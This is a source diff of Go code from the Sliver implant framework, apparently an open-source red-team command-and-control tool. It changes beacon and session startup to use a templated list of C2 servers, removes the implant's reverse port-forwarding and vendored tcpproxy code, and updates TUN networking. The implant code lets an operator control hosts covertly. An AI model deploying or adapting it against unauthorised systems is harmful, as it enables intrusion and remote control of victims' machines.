panic("not implemented")
}
func (e *endpoint) WriteRawPacket(*stack.PacketBuffer) tcpip.Error {
panic("not implemented")
}
func (*endpoint) ARPHardwareType() header.ARPHardwareType {
return header.ARPHardwareNone
}
func (e *endpoint) AddHeader(tcpip.LinkAddress, tcpip.LinkAddress, tcpip.NetworkProtocolNumber, *stack.PacketBuffer) {
}
func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device, *Net, error) {
opts := stack.Options{
@@ -57,15 +108,13 @@ func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device,
HandleLocal: true,
}
dev := &netTun{
ep: channel.New(1024, uint32(mtu), ""),
stack: stack.New(opts),
events: make(chan tun.Event, 10),
incomingPacket: make(chan *bufferv2.View),
incomingPacket: make(chan buffer.VectorisedView),
dnsServers: dnsServers,
mtu: mtu,
}
dev.ep.AddNotify(dev)
tcpipErr := dev.stack.CreateNIC(1, dev.ep)
tcpipErr := dev.stack.CreateNIC(1, (*endpoint)(dev))
if tcpipErr != nil {
return nil, nil, fmt.Errorf("CreateNIC: %v", tcpipErr)
}
@@ -118,7 +167,6 @@ func (tun *netTun) Read(buf []byte, offset int) (int, error) {
if !ok {
return 0, os.ErrClosed
}
return view.Read(buf[offset:])
}
@@ -128,29 +176,17 @@ func (tun *netTun) Write(buf []byte, offset int) (int, error) {
return 0, nil
}
pkb := stack.NewPacketBuffer(stack.PacketBufferOptions{Payload: bufferv2.MakeWithData(packet)})
pkb := stack.NewPacketBuffer(stack.PacketBufferOptions{Data: buffer.NewVectorisedView(len(packet), []buffer.View{buffer.NewViewFromBytes(packet)})})
switch packet[0] >> 4 {
case 4:
tun.ep.InjectInbound(header.IPv4ProtocolNumber, pkb)
tun.dispatcher.DeliverNetworkPacket("", "", ipv4.ProtocolNumber, pkb)
case 6:
tun.ep.InjectInbound(header.IPv6ProtocolNumber, pkb)
tun.dispatcher.DeliverNetworkPacket("", "", ipv6.ProtocolNumber, pkb)
}
return len(buf), nil
}
func (tun *netTun) WriteNotify() {
pkt := tun.ep.Read()
if pkt == nil {
return
}
view := pkt.ToView()
pkt.DecRef()
tun.incomingPacket <- view
}
func (tun *netTun) Flush() error {
return nil
}
@@ -161,9 +197,9 @@ func (tun *netTun) Close() error {
if tun.events != nil {
close(tun.events)
}
tun.ep.Close()
if tun.incomingPacket != nil {
close(tun.incomingPacket)
}
return nil
}
@@ -398,10 +434,11 @@ func (pc *PingConn) WriteTo(p []byte, addr net.Addr) (n int, err error) {
return 0, fmt.Errorf("ping write: mismatched protocols")
}
buf := bytes.NewReader(p)
buf := buffer.NewViewFromBytes(p)
rdr := buf.Reader()
rfa, _ := convertToFullAddr(netip.AddrPortFrom(na, 0))
// won't block, no deadlines
n64, tcpipErr := pc.ep.Write(buf, tcpip.WriteOptions{
n64, tcpipErr := pc.ep.Write(&rdr, tcpip.WriteOptions{
To: &rfa,
})
if tcpipErr != nil {
@@ -416,8 +453,8 @@ func (pc *PingConn) Write(p []byte) (n int, err error) {
}
func (pc *PingConn) ReadFrom(p []byte) (n int, addr net.Addr, err error) {
e, notifyCh := waiter.NewChannelEntry(waiter.EventIn)
pc.wq.EventRegister(&e)
e, notifyCh := waiter.NewChannelEntry(nil)
pc.wq.EventRegister(&e, waiter.EventIn)
defer pc.wq.EventUnregister(&e)
select {
@@ -451,7 +488,7 @@ func (pc *PingConn) SetDeadline(t time.Time) error {
}
func (pc *PingConn) SetReadDeadline(t time.Time) error {
pc.deadline.Reset(time.Until(t))
pc.deadline.Reset(t.Sub(time.Now()))
return nil
}
-251
View File
@@ -1,251 +0,0 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"context"
"encoding/binary"
"io"
"math/rand"
"net"
"strconv"
"sync"
"time"
"github.com/bishopfox/sliver/implant/sliver/tcpproxy"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var (
// Portfwds - Struct instance that holds all the portfwds
Portfwds = portfwds{
forwards: map[int]*Portfwd{},
mutex: &sync.RWMutex{},
}
portfwdID = 0
)
// PortfwdMeta - Metadata about a portfwd listener
type PortfwdMeta struct {
ID int
SessionID string
BindAddr string
RemoteAddr string
}
// Portfwd - Tracks portfwd<->tcpproxy
type Portfwd struct {
ID int
TCPProxy *tcpproxy.Proxy
ChannelProxy *ChannelProxy
}
// GetMetadata - Get metadata about the portfwd
func (p *Portfwd) GetMetadata() *PortfwdMeta {
return &PortfwdMeta{
ID: p.ID,
BindAddr: p.ChannelProxy.BindAddr,
RemoteAddr: p.ChannelProxy.RemoteAddr,
}
}
type portfwds struct {
forwards map[int]*Portfwd
mutex *sync.RWMutex
}
// Add - Add a TCP proxy instance
func (f *portfwds) Add(tcpProxy *tcpproxy.Proxy, channelProxy *ChannelProxy) *Portfwd {
f.mutex.Lock()
defer f.mutex.Unlock()
portfwd := &Portfwd{
ID: nextPortfwdID(),
TCPProxy: tcpProxy,
ChannelProxy: channelProxy,
}
f.forwards[portfwd.ID] = portfwd
return portfwd
}
// Remove - Remove a TCP proxy instance
func (f *portfwds) Remove(portfwdID int) *Portfwd {
f.mutex.Lock()
defer f.mutex.Unlock()
if portfwd, ok := f.forwards[portfwdID]; ok {
portfwd.TCPProxy.Close()
delete(f.forwards, portfwdID)
return portfwd
}
return nil
}
// List - List all TCP proxy instances
func (f *portfwds) List() []*PortfwdMeta {
f.mutex.RLock()
defer f.mutex.RUnlock()
portForwards := []*PortfwdMeta{}
for _, portfwd := range f.forwards {
portForwards = append(portForwards, portfwd.GetMetadata())
}
return portForwards
}
// ChannelProxy binds the Sliver Tunnel to a net.Conn object
// one ChannelProxy per port bind.
//
// Implements the Target interface from tcpproxy pkg
type ChannelProxy struct {
Conn *transports.Connection
//Session *clientpb.Session
BindAddr string
RemoteAddr string
KeepAlivePeriod time.Duration
DialTimeout time.Duration
}
// HandleConn - Handle a TCP connection
func (p *ChannelProxy) HandleConn(src net.Conn) {
// {{if .Config.Debug}}
log.Printf("[tcpproxy] Handling new connection")
// {{end}}
ctx := context.Background()
var cancelContext context.CancelFunc
if p.DialTimeout >= 0 {
ctx, cancelContext = context.WithTimeout(ctx, p.dialTimeout())
}
if conn, ok := src.(*net.TCPConn); ok {
// {{if .Config.Debug}}
log.Printf("[portfwd] Configuring keep alive")
// {{end}}
conn.SetKeepAlive(true)
// TODO: Make KeepAlive configurable
conn.SetKeepAlivePeriod(30 * time.Second)
}
// Add tunnel
// {{if .Config.Debug}}
log.Printf("[rportfwd] Creating tcp tunnel")
// {{end}}
tId := NewTunnelID()
// {{if .Config.Debug}}
log.Printf("[tcpproxy] Created new tunnel with id %d", tId)
// {{end}}
tunnel := transports.NewTunnel(
tId,
src,
src,
)
p.Conn.AddTunnel(tunnel)
cleanup := func(reason error) {
// {{if .Config.Debug}}
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
tunnel := p.Conn.Tunnel(tunnel.ID)
if tunnel != nil {
p.Conn.RemoveTunnel(tunnel.ID)
}
src.Close()
cancelContext()
}
go func() {
tWriter := tunnelWriter{
tun: tunnel,
conn: p.Conn,
host: p.Host(),
port: p.Port(),
protocol: sliverpb.PortFwdProtoTCP,
tunnelID: tId,
}
// portfwd only uses one reader, hence the tunnel.Readers[0]
n, err := io.Copy(tWriter, tunnel.Readers[0])
_ = n // avoid not used compiler error if debug mode is disabled
// {{if .Config.Debug}}
log.Printf("[tunnel] Tunnel done, wrote %v bytes", n)
// {{end}}
cleanup(err)
}()
}
// HostPort - Returns the host and port of the TCP proxy
func (p *ChannelProxy) HostPort() (string, uint32) {
defaultPort := uint32(8080)
host, rawPort, err := net.SplitHostPort(p.RemoteAddr)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Failed to parse addr %s", p.RemoteAddr)
// {{end}}
return "", defaultPort
}
portNumber, err := strconv.Atoi(rawPort)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Failed to parse number from %s", rawPort)
// {{end}}
return "", defaultPort
}
port := uint32(portNumber)
if port < 1 || 65535 < port {
// {{if .Config.Debug}}
log.Printf("Invalid port number %d", port)
// {{end}}
return "", defaultPort
}
return host, port
}
// Port - Returns the TCP port of the proxy
func (p *ChannelProxy) Port() uint32 {
_, port := p.HostPort()
return port
}
// Host - Returns the host (i.e., interface) of the TCP proxy
func (p *ChannelProxy) Host() string {
host, _ := p.HostPort()
return host
}
func (p *ChannelProxy) dialTimeout() time.Duration {
if p.DialTimeout > 0 {
return p.DialTimeout
}
return 30 * time.Second
}
func nextPortfwdID() int {
portfwdID++
return portfwdID
}
// NewTunnelID - New 64-bit identifier
func NewTunnelID() uint64 {
randBuf := make([]byte, 8)
rand.Read(randBuf)
return binary.LittleEndian.Uint64(randBuf)
}
-71
View File
@@ -1,71 +0,0 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
// tunnelWriter - Sends data back to the server based on data read()
// I know the reader/writer stuff is a little hard to keep track of
type tunnelWriter struct {
tun *transports.Tunnel
conn *transports.Connection
host string
port uint32
protocol int
tunnelID uint64
}
func (tw tunnelWriter) Write(data []byte) (int, error) {
n := len(data)
createReverse := false
rportfwdInfo := &sliverpb.RPortfwd{}
if tw.tun.WriteSequence() == 0 {
createReverse = true
rportfwdInfo.Host = tw.host
rportfwdInfo.Port = tw.port
rportfwdInfo.Protocol = int32(tw.protocol)
rportfwdInfo.TunnelID = tw.tunnelID
}
data, err := proto.Marshal(&sliverpb.TunnelData{
Sequence: tw.tun.WriteSequence(), // The tunnel write sequence
Ack: tw.tun.ReadSequence(),
TunnelID: tw.tun.ID,
Data: data,
CreateReverse: createReverse,
Rportfwd: rportfwdInfo,
})
// {{if .Config.Debug}}
log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d", n, tw.tun.WriteSequence(), tw.tun.ReadSequence())
// {{end}}
tw.tun.IncWriteSequence() // Increment write sequence
tw.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelData,
Data: data,
}
return n, err
}
-18
View File
@@ -1,23 +1,5 @@
package service
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"time"
+15 -15
View File
@@ -51,7 +51,6 @@ import (
consts "github.com/bishopfox/sliver/implant/sliver/constants"
"github.com/bishopfox/sliver/implant/sliver/handlers"
"github.com/bishopfox/sliver/implant/sliver/hostuuid"
"github.com/bishopfox/sliver/implant/sliver/locale"
"github.com/bishopfox/sliver/implant/sliver/limits"
"github.com/bishopfox/sliver/implant/sliver/pivots"
"github.com/bishopfox/sliver/implant/sliver/transports"
@@ -68,7 +67,14 @@ import (
)
var (
InstanceID string
InstanceID string
c2Servers = []string{
// {{range $index, $value := .Config.C2}}
"{{$value}}", // {{$index}}
// {{end}}
}
connectionErrors = 0
)
@@ -196,7 +202,7 @@ func beaconStartup() {
defer func() {
abort <- struct{}{}
}()
beacons := transports.StartBeaconLoop(abort)
beacons := transports.StartBeaconLoop(c2Servers, abort)
for beacon := range beacons {
// {{if .Config.Debug}}
log.Printf("Next beacon = %v", beacon)
@@ -228,7 +234,7 @@ func sessionStartup() {
defer func() {
abort <- struct{}{}
}()
connections := transports.StartConnectionLoop(abort)
connections := transports.StartConnectionLoop(c2Servers, abort)
for connection := range connections {
if connection != nil {
err := sessionMainLoop(connection)
@@ -294,8 +300,8 @@ func beaconMainLoop(beacon *transports.Beacon) error {
Register: register,
NextCheckin: int64(beacon.Duration().Seconds()),
}))
time.Sleep(time.Second)
beacon.Close()
time.Sleep(time.Second)
// BeaconMain - Is executed in it's own goroutine as the function will block
// until all tasks complete (in success or failure), if a task handler blocks
@@ -347,7 +353,6 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
// {{if .Config.Debug}}
log.Printf("[beacon] closing ...")
// {{end}}
time.Sleep(time.Second)
beacon.Close()
}()
// {{if .Config.Debug}}
@@ -475,7 +480,9 @@ func openSessionHandler(data []byte) {
log.Printf("[beacon] failed to parse open session msg: %s", err)
// {{end}}
}
// {{if .Config.Debug}}
log.Printf("[beacon] open session -> %v", openSession.C2S)
// {{end}}
if openSession.Delay != 0 {
// {{if .Config.Debug}}
log.Printf("[beacon] delay %s", time.Duration(openSession.Delay))
@@ -485,7 +492,7 @@ func openSessionHandler(data []byte) {
go func() {
abort := make(chan struct{})
connections := transports.StartConnectionLoop(abort)
connections := transports.StartConnectionLoop(openSession.C2S, abort)
defer func() { abort <- struct{}{} }()
connectionAttempts := 0
for connection := range connections {
@@ -541,7 +548,6 @@ func sessionMainLoop(connection *transports.Connection) error {
tunHandlers := handlers.GetTunnelHandlers()
sysHandlers := handlers.GetSystemHandlers()
specialHandlers := handlers.GetSpecialHandlers()
rportfwdHandlers := handlers.GetRportFwdHandlers()
for envelope := range connection.Recv {
if handler, ok := specialHandlers[envelope.Type]; ok {
@@ -554,11 +560,6 @@ func sessionMainLoop(connection *transports.Connection) error {
log.Printf("[recv] pivotHandler with type %d", envelope.Type)
// {{end}}
go handler(envelope, connection)
} else if handler, ok := rportfwdHandlers[envelope.Type]; ok {
// {{if .Config.Debug}}
log.Printf("[recv] rportfwdHandler with type %d", envelope.Type)
// {{end}}
go handler(envelope, connection)
} else if handler, ok := sysHandlers[envelope.Type]; ok {
// Beware, here be dragons.
// This is required for the specific case of token impersonation:
@@ -683,6 +684,5 @@ func registerSliver() *sliverpb.Register {
ReconnectInterval: int64(transports.GetReconnectInterval()),
ConfigID: "{{ .Config.ID }}",
PeerID: pivots.MyPeerID,
Locale: locale.GetLocale(),
}
}
+2 -21
View File
@@ -1,31 +1,12 @@
//go:build windows
// +build windows
package spoof
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"golang.org/x/sys/windows"
"os/exec"
"syscall"
"golang.org/x/sys/windows"
// {{if .Config.Debug}}
"log"
// {{end}}
-475
View File
@@ -1,475 +0,0 @@
package tcpproxy
// Copyright 2017 Google Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// Package tcpproxy lets users build TCP proxies, optionally making
// routing decisions based on HTTP/1 Host headers and the SNI hostname
// in TLS connections.
//
// Typical usage:
//
// var p tcpproxy.Proxy
// p.AddHTTPHostRoute(":80", "foo.com", tcpproxy.To("10.0.0.1:8081"))
// p.AddHTTPHostRoute(":80", "bar.com", tcpproxy.To("10.0.0.2:8082"))
// p.AddRoute(":80", tcpproxy.To("10.0.0.1:8081")) // fallback
// p.AddSNIRoute(":443", "foo.com", tcpproxy.To("10.0.0.1:4431"))
// p.AddSNIRoute(":443", "bar.com", tcpproxy.To("10.0.0.2:4432"))
// p.AddRoute(":443", tcpproxy.To("10.0.0.1:4431")) // fallback
// log.Fatal(p.Run())
//
// Calling Run (or Start) on a proxy also starts all the necessary
// listeners.
//
// For each accepted connection, the rules for that ipPort are
// matched, in order. If one matches (currently HTTP Host, SNI, or
// always), then the connection is handed to the target.
//
// The two predefined Target implementations are:
//
// 1) DialProxy, proxying to another address (use the To func to return a
// DialProxy value),
//
// 2) TargetListener, making the matched connection available via a
// net.Listener.Accept call.
//
// But Target is an interface, so you can also write your own.
//
// Note that tcpproxy does not do any TLS encryption or decryption. It
// only (via DialProxy) copies bytes around. The SNI hostname in the TLS
// header is unencrypted, for better or worse.
//
// This package makes no API stability promises. If you depend on it,
// vendor it.
import (
"bufio"
"context"
"errors"
"fmt"
"io"
"log"
"net"
"time"
)
// Proxy is a proxy. Its zero value is a valid proxy that does
// nothing. Call methods to add routes before calling Start or Run.
//
// The order that routes are added in matters; each is matched in the order
// registered.
type Proxy struct {
configs map[string]*config // ip:port => config
lns []net.Listener
donec chan struct{} // closed before err
err error // any error from listening
// ListenFunc optionally specifies an alternate listen
// function. If nil, net.Dial is used.
// The provided net is always "tcp".
ListenFunc func(net, laddr string) (net.Listener, error)
}
// Matcher reports whether hostname matches the Matcher's criteria.
type Matcher func(ctx context.Context, hostname string) bool
// equals is a trivial Matcher that implements string equality.
func equals(want string) Matcher {
return func(_ context.Context, got string) bool {
return want == got
}
}
// config contains the proxying state for one listener.
type config struct {
routes []route
acmeTargets []Target // accumulates targets that should be probed for acme.
stopACME bool // if true, AddSNIRoute doesn't add targets to acmeTargets.
}
// A route matches a connection to a target.
type route interface {
// match examines the initial bytes of a connection, looking for a
// match. If a match is found, match returns a non-nil Target to
// which the stream should be proxied. match returns nil if the
// connection doesn't match.
//
// match must not consume bytes from the given bufio.Reader, it
// can only Peek.
//
// If an sni or host header was parsed successfully, that will be
// returned as the second parameter.
match(*bufio.Reader) (Target, string)
}
func (p *Proxy) netListen() func(net, laddr string) (net.Listener, error) {
if p.ListenFunc != nil {
return p.ListenFunc
}
return net.Listen
}
func (p *Proxy) configFor(ipPort string) *config {
if p.configs == nil {
p.configs = make(map[string]*config)
}
if p.configs[ipPort] == nil {
p.configs[ipPort] = &config{}
}
return p.configs[ipPort]
}
func (p *Proxy) addRoute(ipPort string, r route) {
cfg := p.configFor(ipPort)
cfg.routes = append(cfg.routes, r)
}
// AddRoute appends an always-matching route to the ipPort listener,
// directing any connection to dest.
//
// This is generally used as either the only rule (for simple TCP
// proxies), or as the final fallback rule for an ipPort.
//
// The ipPort is any valid net.Listen TCP address.
func (p *Proxy) AddRoute(ipPort string, dest Target) {
p.addRoute(ipPort, fixedTarget{dest})
}
type fixedTarget struct {
t Target
}
func (m fixedTarget) match(*bufio.Reader) (Target, string) { return m.t, "" }
// Run is calls Start, and then Wait.
//
// It blocks until there's an error. The return value is always
// non-nil.
func (p *Proxy) Run() error {
if err := p.Start(); err != nil {
return err
}
return p.Wait()
}
// Wait waits for the Proxy to finish running. Currently this can only
// happen if a Listener is closed, or Close is called on the proxy.
//
// It is only valid to call Wait after a successful call to Start.
func (p *Proxy) Wait() error {
<-p.donec
return p.err
}
// Close closes all the proxy's self-opened listeners.
func (p *Proxy) Close() error {
for _, c := range p.lns {
c.Close()
}
return nil
}
// Start creates a TCP listener for each unique ipPort from the
// previously created routes and starts the proxy. It returns any
// error from starting listeners.
//
// If it returns a non-nil error, any successfully opened listeners
// are closed.
func (p *Proxy) Start() error {
if p.donec != nil {
return errors.New("already started")
}
p.donec = make(chan struct{})
errc := make(chan error, len(p.configs))
p.lns = make([]net.Listener, 0, len(p.configs))
for ipPort, config := range p.configs {
ln, err := p.netListen()("tcp", ipPort)
if err != nil {
p.Close()
return err
}
p.lns = append(p.lns, ln)
go p.serveListener(errc, ln, config.routes)
}
go p.awaitFirstError(errc)
return nil
}
func (p *Proxy) awaitFirstError(errc <-chan error) {
p.err = <-errc
close(p.donec)
}
func (p *Proxy) serveListener(ret chan<- error, ln net.Listener, routes []route) {
for {
c, err := ln.Accept()
if err != nil {
ret <- err
return
}
go p.serveConn(c, routes)
}
}
// serveConn runs in its own goroutine and matches c against routes.
// It returns whether it matched purely for testing.
func (p *Proxy) serveConn(c net.Conn, routes []route) bool {
br := bufio.NewReader(c)
for _, route := range routes {
if target, hostName := route.match(br); target != nil {
if n := br.Buffered(); n > 0 {
peeked, _ := br.Peek(br.Buffered())
c = &Conn{
HostName: hostName,
Peeked: peeked,
Conn: c,
}
}
target.HandleConn(c)
return true
}
}
// TODO: hook for this?
log.Printf("tcpproxy: no routes matched conn %v/%v; closing", c.RemoteAddr().String(), c.LocalAddr().String())
c.Close()
return false
}
// Conn is an incoming connection that has had some bytes read from it
// to determine how to route the connection. The Read method stitches
// the peeked bytes and unread bytes back together.
type Conn struct {
// HostName is the hostname field that was sent to the request router.
// In the case of TLS, this is the SNI header, in the case of HTTPHost
// route, it will be the host header. In the case of a fixed
// route, i.e. those created with AddRoute(), this will always be
// empty. This can be useful in the case where further routing decisions
// need to be made in the Target impementation.
HostName string
// Peeked are the bytes that have been read from Conn for the
// purposes of route matching, but have not yet been consumed
// by Read calls. It set to nil by Read when fully consumed.
Peeked []byte
// Conn is the underlying connection.
// It can be type asserted against *net.TCPConn or other types
// as needed. It should not be read from directly unless
// Peeked is nil.
net.Conn
}
func (c *Conn) Read(p []byte) (n int, err error) {
if len(c.Peeked) > 0 {
n = copy(p, c.Peeked)
c.Peeked = c.Peeked[n:]
if len(c.Peeked) == 0 {
c.Peeked = nil
}
return n, nil
}
return c.Conn.Read(p)
}
// Target is what an incoming matched connection is sent to.
type Target interface {
// HandleConn is called when an incoming connection is
// matched. After the call to HandleConn, the tcpproxy
// package never touches the conn again. Implementations are
// responsible for closing the connection when needed.
//
// The concrete type of conn will be of type *Conn if any
// bytes have been consumed for the purposes of route
// matching.
HandleConn(net.Conn)
}
// To is shorthand way of writing &tlsproxy.DialProxy{Addr: addr}.
func To(addr string) *DialProxy {
return &DialProxy{Addr: addr}
}
// DialProxy implements Target by dialing a new connection to Addr
// and then proxying data back and forth.
//
// The To func is a shorthand way of creating a DialProxy.
type DialProxy struct {
// Addr is the TCP address to proxy to.
Addr string
// KeepAlivePeriod sets the period between TCP keep alives.
// If zero, a default is used. To disable, use a negative number.
// The keep-alive is used for both the client connection and
KeepAlivePeriod time.Duration
// DialTimeout optionally specifies a dial timeout.
// If zero, a default is used.
// If negative, the timeout is disabled.
DialTimeout time.Duration
// DialContext optionally specifies an alternate dial function
// for TCP targets. If nil, the standard
// net.Dialer.DialContext method is used.
DialContext func(ctx context.Context, network, address string) (net.Conn, error)
// OnDialError optionally specifies an alternate way to handle errors dialing Addr.
// If nil, the error is logged and src is closed.
// If non-nil, src is not closed automatically.
OnDialError func(src net.Conn, dstDialErr error)
// ProxyProtocolVersion optionally specifies the version of
// HAProxy's PROXY protocol to use. The PROXY protocol provides
// connection metadata to the DialProxy target, via a header
// inserted ahead of the client's traffic. The DialProxy target
// must explicitly support and expect the PROXY header; there is
// no graceful downgrade.
// If zero, no PROXY header is sent. Currently, version 1 is supported.
ProxyProtocolVersion int
}
// UnderlyingConn returns c.Conn if c of type *Conn,
// otherwise it returns c.
func UnderlyingConn(c net.Conn) net.Conn {
if wrap, ok := c.(*Conn); ok {
return wrap.Conn
}
return c
}
func goCloseConn(c net.Conn) { go c.Close() }
// HandleConn implements the Target interface.
func (dp *DialProxy) HandleConn(src net.Conn) {
ctx := context.Background()
var cancel context.CancelFunc
if dp.DialTimeout >= 0 {
ctx, cancel = context.WithTimeout(ctx, dp.dialTimeout())
}
dst, err := dp.dialContext()(ctx, "tcp", dp.Addr)
if cancel != nil {
cancel()
}
if err != nil {
dp.onDialError()(src, err)
return
}
defer goCloseConn(dst)
if err = dp.sendProxyHeader(dst, src); err != nil {
dp.onDialError()(src, err)
return
}
defer goCloseConn(src)
if ka := dp.keepAlivePeriod(); ka > 0 {
if c, ok := UnderlyingConn(src).(*net.TCPConn); ok {
c.SetKeepAlive(true)
c.SetKeepAlivePeriod(ka)
}
if c, ok := dst.(*net.TCPConn); ok {
c.SetKeepAlive(true)
c.SetKeepAlivePeriod(ka)
}
}
errc := make(chan error, 1)
go proxyCopy(errc, src, dst)
go proxyCopy(errc, dst, src)
<-errc
}
func (dp *DialProxy) sendProxyHeader(w io.Writer, src net.Conn) error {
switch dp.ProxyProtocolVersion {
case 0:
return nil
case 1:
var srcAddr, dstAddr *net.TCPAddr
if a, ok := src.RemoteAddr().(*net.TCPAddr); ok {
srcAddr = a
}
if a, ok := src.LocalAddr().(*net.TCPAddr); ok {
dstAddr = a
}
if srcAddr == nil || dstAddr == nil {
_, err := io.WriteString(w, "PROXY UNKNOWN\r\n")
return err
}
family := "TCP4"
if srcAddr.IP.To4() == nil {
family = "TCP6"
}
_, err := fmt.Fprintf(w, "PROXY %s %s %d %s %d\r\n", family, srcAddr.IP, srcAddr.Port, dstAddr.IP, dstAddr.Port)
return err
default:
return fmt.Errorf("PROXY protocol version %d not supported", dp.ProxyProtocolVersion)
}
}
// proxyCopy is the function that copies bytes around.
// It's a named function instead of a func literal so users get
// named goroutines in debug goroutine stack dumps.
func proxyCopy(errc chan<- error, dst, src net.Conn) {
// Before we unwrap src and/or dst, copy any buffered data.
if wc, ok := src.(*Conn); ok && len(wc.Peeked) > 0 {
if _, err := dst.Write(wc.Peeked); err != nil {
errc <- err
return
}
wc.Peeked = nil
}
// Unwrap the src and dst from *Conn to *net.TCPConn so Go
// 1.11's splice optimization kicks in.
src = UnderlyingConn(src)
dst = UnderlyingConn(dst)
_, err := io.Copy(dst, src)
errc <- err
}
func (dp *DialProxy) keepAlivePeriod() time.Duration {
if dp.KeepAlivePeriod != 0 {
return dp.KeepAlivePeriod
}
return time.Minute
}
func (dp *DialProxy) dialTimeout() time.Duration {
if dp.DialTimeout > 0 {
return dp.DialTimeout
}
return 10 * time.Second
}
var defaultDialer = new(net.Dialer)
func (dp *DialProxy) dialContext() func(ctx context.Context, network, address string) (net.Conn, error) {
if dp.DialContext != nil {
return dp.DialContext
}
return defaultDialer.DialContext
}
func (dp *DialProxy) onDialError() func(src net.Conn, dstDialErr error) {
if dp.OnDialError != nil {
return dp.OnDialError
}
return func(src net.Conn, dstDialErr error) {
log.Printf("tcpproxy: for incoming conn %v, error dialing %q: %v", src.RemoteAddr().String(), dp.Addr, dstDialErr)
src.Close()
}
}
+2 -2
View File
@@ -113,7 +113,7 @@ func (b *Beacon) Duration() time.Duration {
}
// StartBeaconLoop - Starts the beacon loop generator
func StartBeaconLoop(abort <-chan struct{}) <-chan *Beacon {
func StartBeaconLoop(c2s []string, abort <-chan struct{}) <-chan *Beacon {
// {{if .Config.Debug}}
log.Printf("Starting beacon loop ...")
// {{end}}
@@ -122,7 +122,7 @@ func StartBeaconLoop(abort <-chan struct{}) <-chan *Beacon {
nextBeacon := make(chan *Beacon)
innerAbort := make(chan struct{})
c2Generator := C2Generator(innerAbort)
c2Generator := C2Generator(c2s, innerAbort)
go func() {
defer close(nextBeacon)
+6 -24
View File
@@ -1,23 +1,5 @@
package transports
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"net/url"
"sync"
@@ -32,7 +14,7 @@ type Connection struct {
ctrl chan struct{}
cleanup func()
once *sync.Once
tunnels map[uint64]*Tunnel
tunnels *map[uint64]*Tunnel
mutex *sync.RWMutex
uri *url.URL
@@ -71,7 +53,7 @@ func (c *Connection) Cleanup() {
func (c *Connection) Tunnel(ID uint64) *Tunnel {
c.mutex.RLock()
defer c.mutex.RUnlock()
return c.tunnels[ID]
return (*c.tunnels)[ID]
}
// AddTunnel - Add tunnel to mapping
@@ -79,7 +61,7 @@ func (c *Connection) AddTunnel(tun *Tunnel) {
c.mutex.Lock()
defer c.mutex.Unlock()
c.tunnels[tun.ID] = tun
(*c.tunnels)[tun.ID] = tun
}
// RemoveTunnel - Add tunnel to mapping
@@ -87,17 +69,17 @@ func (c *Connection) RemoveTunnel(ID uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
delete(c.tunnels, ID)
delete(*c.tunnels, ID)
}
func (c *Connection) removeAndCloseAllTunnels() {
c.mutex.Lock()
defer c.mutex.Unlock()
for id, tunnel := range c.tunnels {
for id, tunnel := range *c.tunnels {
tunnel.Close()
delete(c.tunnels, id)
delete(*c.tunnels, id)
}
}
+2 -11
View File
